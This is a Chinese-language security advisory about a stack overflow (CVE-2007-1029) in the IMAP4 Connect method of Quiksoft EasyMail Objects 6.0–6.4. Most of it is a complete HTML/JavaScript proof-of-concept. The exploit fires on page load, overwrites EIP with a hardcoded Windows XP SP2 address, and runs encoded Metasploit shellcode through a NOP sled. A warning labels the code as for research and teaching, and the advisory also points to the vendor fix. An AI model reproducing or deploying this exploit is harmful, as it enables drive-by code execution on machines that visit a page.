安全研究
安全漏洞
EasyMail Objects “Connect”方式远程栈溢出漏洞
发布日期：2007-02-02
更新日期：2007-03-09
受影响系统：
Quiksoft EasyMail Objects 6.0 - 6.4不受影响系统：
Quiksoft EasyMail Objects 6.5描述：
BUGTRAQ ID: 22583
CVE(CAN) ID: CVE-2007-1029
EasyMail Objects是一组全面的、易用的COM控件，可以创建、发送、接收、显示、编辑、保存和打印电子邮件。
EasyMail Objects的IMAP4组件（对象ClassID {703B353E-FA2E-4072-8DDF-F70AAC7E527E}）在处理传送给Connect方式的超长参数时存在栈溢出漏洞。如果用户传送了超过500字节的超长主机名参数的话，就会触发这个溢出，导致执行任意指令。
<*来源：Paul Craig （headpimp@pimp-industries.com）
链接：http://secunia.com/advisories/24199/
http://security-assessment.com/files/advisories/easymail_advisory.pdf
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<html>
<head>
<title>Quiksoft EasyMail 6.0.3.0 imap connect() stack overflow</title>
<script language="JavaScript" defer>
function Check() {
var buf = 'A';
while (buf.length <= 440) buf = buf + 'A';
// win32_exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com
var shellcode1 = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49" +
"%48%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%43" +
"%58%30%42%31%50%42%41%6b%42%41%53%42%32%42%41%32" +
"%41%41%30%41%41%58%50%38%42%42%75%48%69%6b%4c%4d" +
"%38%63%74%75%50%33%30%67%70%4c%4b%73%75%57%4c%6e" +
"%6b%63%4c%45%55%63%48%33%31%58%6f%6c%4b%70%4f%77" +
"%68%6e%6b%73%6f%71%30%65%51%6a%4b%72%69%4e%6b%36" +
"%54%4e%6b%45%51%4a%4e%46%51%6b%70%4f%69%4c%6c%6e" +
"%64%59%50%73%44%53%37%58%41%7a%6a%54%4d%33%31%78" +
"%42%48%6b%7a%54%77%4b%52%74%66%44%34%44%62%55%59" +
"%75%6e%6b%41%4f%36%44%45%51%6a%4b%53%56%4c%4b%46" +
"%6c%72%6b%4c%4b%53%6f%37%6c%63%31%6a%4b%4e%6b%75" +
"%4c%6c%4b%54%41%48%6b%4d%59%51%4c%51%34%34%44%4a" +
"%63%30%31%6f%30%62%44%4e%6b%71%50%54%70%4b%35%6b" +
"%70%50%78%46%6c%6c%4b%63%70%44%4c%4c%4b%44%30%35" +
"%4c%6e%4d%6c%4b%61%78%55%58%6a%4b%64%49%4e%6b%6b" +
"%30%6c%70%57%70%57%70%47%70%4c%4b%70%68%47%4c%71" +
"%4f%44%71%6b%46%33%50%66%36%4f%79%4c%38%6e%63%4f" +
"%30%71%6b%30%50%41%78%58%70%6c%4a%53%34%51%4f%33" +
"%58%4e%78%39%6e%6d%5a%46%6e%61%47%4b%4f%69%77%63" +
"%53%45%6a%33%6c%72%57%30%69%50%6e%62%44%70%6f%73" +
"%47%41%63%41%4c%50%73%42%59%31%63%50%74%65%35%70" +
"%6d%54%73%65%62%33%6c%30%63%41%71%70%6c%53%53%66" +
"%4e%31%75%74%38%70%65%77%70%43");
var eip = unescape("%0F%DD%17%7D"); // Windows XP SP2 English
var nop = unescape("%90%90%90%90%90%90%90%90%90%90%90%90");
var m = buf + eip + nop + shellcode1 + nop;
obj.connect(m);
}
</script>
</head>
<body onload="JavaScript: return Check();">
<object id="obj" classid="clsid:0CEA3FB1-7F88-4803-AA8E-AD021566955D">
Failed to instantiate object.
</object>
</body>
</html>
建议：
厂商补丁：
Quiksoft
--------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
http://www.quiksoft.com/download/emsetup.exe
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严重程度：0（网友投票）
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